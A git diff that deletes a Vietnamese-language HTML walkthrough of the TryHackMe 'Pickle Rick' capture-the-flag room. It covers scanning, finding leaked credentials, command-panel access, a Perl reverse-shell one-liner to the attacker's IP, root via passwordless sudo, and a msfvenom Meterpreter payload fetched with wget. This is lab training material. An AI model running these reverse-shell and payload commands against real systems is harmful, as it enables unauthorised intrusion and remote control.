diff --git a/Tryhackme/Khai thác Pickle Rick .htm b/Tryhackme/Khai thác Pickle Rick .htm deleted file mode 100644 index 3373426..0000000 --- a/Tryhackme/Khai thác Pickle Rick .htm +++ /dev/null @@ -1,3026 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Server -khai thác:

- -

https://tryhackme.com/room/picklerick

- -

Thực -hiện start machine để lấy địa chỉ ip của -mục tiêu cần khai thác:

- -

- -

Ping -kiểm tra máy Kali có đang cùng mạng với Mục tiêu -hay ko:

- -

- -

Thực -hiện scan các port TCP:

- -

nmap -vv -Pn -T4 -sC -sV -O -p- 10.10.176.127

- -

- -

- -

Thực hiện việc scan các -port UDP

- -

nmap -vv -Pn -T4 -sU -sV 10.10.176.127

- -

- -

Dựa -trên kết quả quét các port TCP và phiên bản như trên, có -thể thấy Server đang mở 2 port 22 và 80. Trong đó -port 22 là service SSH với phiên bản OpenSSH 7.2p2.

- -

Thử -truy cập bằng ssh đên server -> nhưng thất bại

- -

- -

Tìm -lỗi liên quan đến phiên bản của SSH này

- -

- -

Dựa -vào kết quả tìm kiếm, rất có thể Server dính lỗ -hỏng “Usename Enumeration”. Thông qua tìm hiểu thì lỗi này -thường chạy rất mất thời gian để -tìm ra username cho SSH, sau đó lại còn phải brute force tìm -password cho tài khoản đó mà chưa chắc sẽ tìm ra -được -> tạm thời bỏ qua.

- -

Chuyển -đến tiếp theo sẽ là port 80. Tiến hành truy cập -trang web theo địa chỉ của Server, tìm source:

- -

- -

Và -src của nó sẽ là:

- -

 

- -

 

- -

 

- -

- - - - - - - - - -
- - - - -
-
-

<!DOCTYPE html>

-

<html lang="en">

-

<head>

-

  - <title>Rick is sup4r cool</title>

-

  - <meta charset="utf-8">

-

  - <meta name="viewport" content="width=device-width, - initial-scale=1">

-

  - <link rel="stylesheet" - href="assets/bootstrap.min.css">

-

  - <script src="assets/jquery.min.js"></script>

-

  - <script - src="assets/bootstrap.min.js"></script>

-

  - <style>

-

  - .jumbotron {

-

    - background-image: url("assets/rickandmorty.jpeg");

-

    - background-size: cover;

-

    - height: 340px;

-

  }

-

  - </style>

-

</head>

-

<body>

-

  - <div class="container">

-

    - <div class="jumbotron"></div>

-

    - <h1>Help Morty!</h1></br>

-

    - <p>Listen Morty... I need your help, I've turned myself into a - pickle again and this time I can't change back!</p></br>

-

    - <p>I need you to <b>*BURRRP*</b>....Morty, logon - to my computer and find the last three secret ingredients to finish my - pickle-reverse potion. The only problem is,

-

    - I have no idea what the <b>*BURRRRRRRRP*</b>, password - was! Help Morty, Help!</p></br>

-

  - </div>

-

  <!--

-

    Note to self, - remember username!

-

    Username: - R1ckRul3s

-

  -->

-

</body>

-

</html>

-
-
-
 
- -
 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -

 

- -
- -

Phần -màu xanh lá ở trên là comment trên front end code, đây có thể -là user dùng để đăng nhập lên chính trang web hoặc -là dùng đăng nhập SSH. Nhưng tạm thời thì cứ -để đây và tiếp tục tìm kiếm các thông tin -khác như các dir ẩn.

- -

Thực -hiên chạy lệnh:

- -

gobuster dir -w common-web-content.txt -u 10.10.176.127 -t 25 -x -txt,php,py,sh

- -

·       gobuster: tên lệnh

- -

·       dir: chế độ tìm file ẩn

- -

·       -u: url của server nạn nhân

- -

·       -w: tên wordlist cần dùng

- -

·       -x: những extension muốn tìm (thường với -website linux sẽ là txt, php, php5, py, rb, pl, sh)

- -

·       -t: số threads chạy trong 1 giây

- -

- -

Có -thể nhận thấy 2 đường dẫn trả về -status 200. Tiến hành truy cập 2 trang này.

- -

Với -url đầu tiên:

- -

- -

Đây -có thể là password cho username vừa tìm được hồi -nảy.

- -

Với -cái thứ 2, chúng ta được một nơi như là -chỗ để đăng nhập:

- -

- -

Đăng -nhập thành công thì được một nơi như thế -này:

- -

- -

Đến -đây thì test thử một cài câu lệnh xem cái Command Panel -này hoạt động như thế nào.

- -

- -

- -

TIP QUAN TRỌNG:

- -

Thông -thường, chúng ta có thể sử dụng trình điều -khiển này để pentest tiếp, nhưng lúc này lại -có một vấn đề như thế này. Để có -thể truy cập vào được trình điều khiển -server bằng dòng lệnh này, chúng ta cần phải -đăng nhập thành công vào admin dashboard, vậy điều -gì sẽ xảy ra nếu như password và username bị thay -đổi? Khả năng cao là chúng ta sẽ không thể -truy cập vào trình điều khiển này được nữa -và phải tìm một lỗi khai thác khác.

- -

Để -tránh trường hợp trên xảy ra, chúng ta sẽ thiết -lập một TCP reverse shell. Hay có thể giải thích -đơn giản rằng chúng ta sẽ thiết lập một -kết nối TCP từ máy nạn nhân đến máy của -pentester và chúng ta sẽ điều khiển máy nạn nhân -thông qua kết nối TCP đó. Như vậy, chúng ta không cần -phải lo lắng chuyện mất quyền truy cập vào -trình điểu khiển nữa.

- -

Kiểm -tra trên server có đang chạy bash, perl, python, ruby gì không?

- -

- -

Chúng -ta đã xác định được server có chạy những -loại nào, tiếp theo sẽ tạo một Reverse shell bằng -những câu lệnh như link sau.( Hoặc link -này).

- -

Trước -đó cần phải xác định IP mà máy pentester đã -dùng VPN tới, đồng thời là một port để -nhận tín hiệu gửi về. Phần IP thì có sẳn, -kiểm tra xem một port nào đó có đang được -mở dùng trên máy dùng câu lệnh nmap, telnet, cat /etc/services.

- -

Chúng -ta sẽ mượn port 8888 để nhận kết nối -chỏ về từ máy server. Cách mở port trên máy kali: nc --nlvp 8888

- -

·       -n: Mang ý -nghĩa chúng ta sẽ chỉ dùng IPv4 address, không dùng domain

- -

·       --l: Chế -độ lắng nghe

- -

·       --v: Verbose – -Cho biết quá trình lắng nghe đang diễn ra thế nào

- -

·       --p: Chỉ -định port để lắng nghe

- -

Tiếp -theo sử dụng những câu lệnh để excute từ -trên server, trong trường hợp này là:

- -

perl -e 'use Socket;$i="10.4.43.108";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh --i");};'

- -

CHÚ Ý: lúc làm lab tới đây thì tắt đi nghỉ, -nên địa chỉ server của tryhackmy sẽ thay đổi -khi bật lên làm tiếp:

- -

-        -IP server: 10.10.105.178

- -

-        -IP của máy kali: 10.4.43.108

- -

Sau khi excute câu lệnh trên -web cùng với thực hiện lắng nghe trên máy kali, kết -quả nhận được:

- -

- -

Tìm key thứ nhất:

- -

Sau -khi có kết nối rồi, dùng lệnh kiểm tra các tập -tin/ thư mục đang hiện hành nên dùng lệnh “ls -la”

- -

- -

Có -một file dạng txt khả nghi, đọc file đó => -key1: mr. meeseek hair

- -

Tìm key thứ 2

- -

Đầu -tiên di chuyển ra thư mục root và liệt kê ra các -file/dir hiện hành:

- -

- -

Kiến -thức thu lụm được:

- -

Ở -thời điểm này, chỉ cần chú ý đến 3 -directories đó là

- -

·       -home: -Nơi chứa những directories của những người -dùng thông thường. Những người dùng thông thường -sẽ được phép truy cập vào directory home này, -nhưng không được phép thay đổi những -directories (ví dụ như thêm hoặc xóa) được chứa -bên trong directory home.

- -

·       -root: -Directory của root hay admin, người có quyền quản -trị cao nhất và chỉ có root/admin mới được -quyền truy cập vào đây.

- -

·       -tmp: đây -là directory thường được dùng để lưu -trữ những dữ liệu tạm thời, và được -cấp quyền truy cập, sửa đổi và thực -thi cho tất cả người dùng hệ thống (cả -root lẫn người dùng thường). Vì lẽ, directory -này rất hay bị lợi dụng làm nơi chuyển dữ -liệu hoặc mã độc giữa máy hacker và máy nạn -nhân. Cũng như hacker có thể chạy file mã độc -ngay tại directory tmp để tấn công hệ thống.

- -

Di -chuyển vào thư mục home, liệt kê các user:

- -

- -

Kết -quả trả về là có 2 người dùng bình thường -là rick và ubuntu, và chúng ta có quyền truy cập vào cả 2 -directories này. Thế tại sao account www-data lại không có ở -đây? Vì account www-data là account mặc định được -hệ thống webserver (ví dụ như Apache hoặc Nginx, -v.v.) sử dụng cho các tác vụ thường ngày. Đây -là một account bình thường và không có quyền hạn -gì đặc biệt.

- -

Vào -trong user rick để tìm key thứ 2

- -

- -

Tìm key thứ 3

- -

Lúc -này chuyển qua user còn lại trong thư mục home để -tìm. Ở đây chúng ta có 2 file để chú ý là -.sudo_as_admin_successful và .ssh. Nhưng .sudo_as_admin_successful có số -byte dữ liệu bằng 0 nên đây là một file trống. -Còn directory .ssh không cho chúng ta quyền truy cập. Có thể -thử cd đến .ssh sẽ nhận được báo lỗi -sau

- -

- -

Do -đó cần phải leo thang đặc quyền để -có thể truy cập được trong dir này. Privileges -escalation là một lĩnh vực khá rộng và có vô số -cách cũng như kỹ thuật để thực hiện. -Trong đó có 2 cách phổ biến nhất đó là sử dụng:

- -

·       -Kernal -exploit: Nghĩa là lợi dụng những lỗ hổng bảo -mật nằm trong nhân Linux hoặc hệ điều hành -Ubuntu để tiến hành nâng quyền quản trị.

- -

·       -Sudo rights: -Lợi dụng các công cụ được cấp quyền -sử dụng để nâng quyền quản trị.

- -

Đầu -tiên bắt đầu với Kernal exploit, cần phải -thu thập thông tin liên quan đến OS, kernel như sau:

- -

- -

- -

Kết -hợp các điều trên có nghĩa là chúng ta cần tìm một -phần mềm khai thác lỗi cho phép nâng cấp quyền quản -trị trên Ubuntu 16.04.5 LTS hoặc Kernel 4.4.0-1072-aws được -viết bằng Bash, Perl, C hoặc có đuôi .elf (file thực -thi trên Linux).

- -

Tiến -hành tìm lỗi những không mấy khả quan

- -

- -

Kết -quả không mấy khả quan nên sẽ chuyển qua cách -nâng cấp đặc quyền thứ 2 là sudo right.

- -

Kiến -thức:  tất cả mọi thứ từ -thiết bị, công cụ, câu lệnh, interface, ip address, -port, v.v trên Linux đều là một file. Do đó, việc bạn -có thể sử dụng một công cụ ví dụ Perl hay một -dòng lệnh ví dụ ls được hay không phụ thuộc -hoàn toàn vào việc bạn có quyền tiếp cận, và thực -thi với file Perl hoặc file ls hay không. Mỗi account trong hệ -thống Linux thường sẽ được cấp -phép sử dụng một số công cụ hoặc câu lệnh -để thực hiện công việc của họ. Và các -công cụ hoặc câu lệnh này nếu không được -quản trị kỹ, chúng hoàn toàn có thể bị lợi -dụng để nâng cấp lên quyền quản trị -cao hơn, hoặc thậm chí là quyền quản trị -root.

- -

Do -đó, cần kiểm tra quyền của account hiện tại:

- -

- -

Dựa -vào kết quả trên chúng ta có thể thấy, account của -chúng ta có quyền sử dụng bất kỳ công cụ và -câu lệnh nào đang có trên server Pickle Rick mà không cần phải -cung cấp password của account hiện tại hoặc -password của account root.

- -

Do -không yêu cầu về password nên sử dụng câu lệnh -“sudo su” để nâng cấp đặc quyền lên root -luôn.

- -

- -

Lúc -này xem như đã nắm được toàn bộ Server, -do đó nên đi vòng vòng kiếm flag cho thử thách thứ -3 thui, kết quả nhận được sẽ là:

- -

- -

ð Giải được toàn bộ flag của -Pickle Rick

- -

--------------------------------------------------------------------------------------------------------------------------------------------ĐÂY -LÀ PHẦN KIẾN THỨC LIÊN QUAN NHƯNG NÂNG CAO -HƠN------------

- -

---------------------------------------------------------------------------------------------------------------------

- -

Trong -CTF, sau khi hoàn thành phần 3 bên trên là đã có thể coi -như đã chiến thắng. Nhưng khi đi làm pentest, sẽ -có khác biệt một tí. Khác biệt đó nằm ở chỗ -kết nối TCP reverse shell đang dùng vẫn chưa phải -là một kết nối bền vững và có thể bị -can thiệp bất cứ lúc nào do kết nối trên có thể -bị phát hiện bởi Task Manager. Chưa kể -đường truyền TCP reverse shell không được -mã hóa, dễ dẫn đến tình trạng lộ thông tin -nhạy cảm của cả pentester lẫn nạn nhân.

- -

Để -phòng tránh việc đó, chúng ta sẽ nâng cấp đường -truyền từ TCP reverse shell thành Meterpreter shell. Ưu -điểm của Meterpreter shell so với TCP reverse shell -như sau:

- -

·       -Meterpreter sử -dụng in-memory DLL injection, nghĩa là nó sẽ chỉ ghi dữ -liệu trên RAM mà thôi, và không ghi gì vào ổ cứng cả, -do đó hạn chế việc để lại dấu vết.

- -

·       -Kết nối -meterpreter không tạo ra process mới mà sẽ tự inject nó -vào process đã bị tấn công khiến nó gần như -vô hình trước các chương trình như Task Manager trên -Windows. Khi process bị meterpreter tấn công bị kill, -meterpreter sẽ tự động nhảy sang một process -khác để duy trì kết nối.

- -

·       -Kết nối -meterpreter được mã hóa.

- -

·       -Do -meterpreter là một tính năng của Metasploit, sử dụng -meterpreter cho phép pentester sử dụng luôn các module post-exploitation -ví dụ như keyblogger, cổng hậu, v.v. có sẵn trên -Metasploit để tấn công sâu hơn vào hệ thống của -nạn nhân.

- -

Chúng -ta sẽ bắt đầu nâng cấp đường truyền -từ TCP reverse shell thành Meterpreter shell.

- -

Sử -dụng câu lệnh sau để tạo ra một file meterpreter

- -

msfvenom --p linux/x86/meterpreter/reverse_tcp LHOST=10.4.43.108 LPORT=9999 -f elf -o -shell.elf

- -

Trong -đó:

- -

·       -msfvenom: Tên câu lệnh

- -

·       --p -linux/x86/meterpreter/reverse_tcp: Dạng payload hay dạng kết -nối sẽ sử dụng

- -

·       -LHOST và -LPORT: Địa chỉ IP và -port dùng để nhận shell trên máy Kali của hacker

- -

·       --f: Format của dữ liệu đầu ra. Ở -đây chọn elf là extension file thực thi của Linux.

- -

·       --o: Xuất ra file có tên là shell.elf

- -

Tiếp -theo sử dụng câu lệnh

- -

Python3 -m http.server 8000

- -

Câu -lệnh trên sử dụng một module của Python có tên là -SimpleHTTPServer để biến directory hiện tại thành -một webserver cho phép trao đổi file tại port 8000 với -địa chỉ IP là IP của hacker. Webserver này có thể -được truy cập bởi tất cả các máy ở -trong cùng mạng.

- -

- -

Sử -dụng câu lệnh sau trên server để download

- -

wget http://10.4.43.108:8000/shell.elf

- -

- -

Thực -hiện cấp quyền thực thi trên máy Server và excute file -đó

- -

- -

Quay -lại trên máy kali, tiến hành dùng metasploit để nhận -kết nối trỏ về

- -

msfconsole

- -

use -exploit/multi/handler

- -

set -LHOST <IP của bạn>

- -

set -LPORT <Port đã dùng trong command msfvenom bên trên>

- -

set -PAYLOAD linux/x86/meterpreter/reverse_tcp

- -

exploit

- -

Kết -quả cuối cùng nhận được sẽ là

- -

- -
- - - -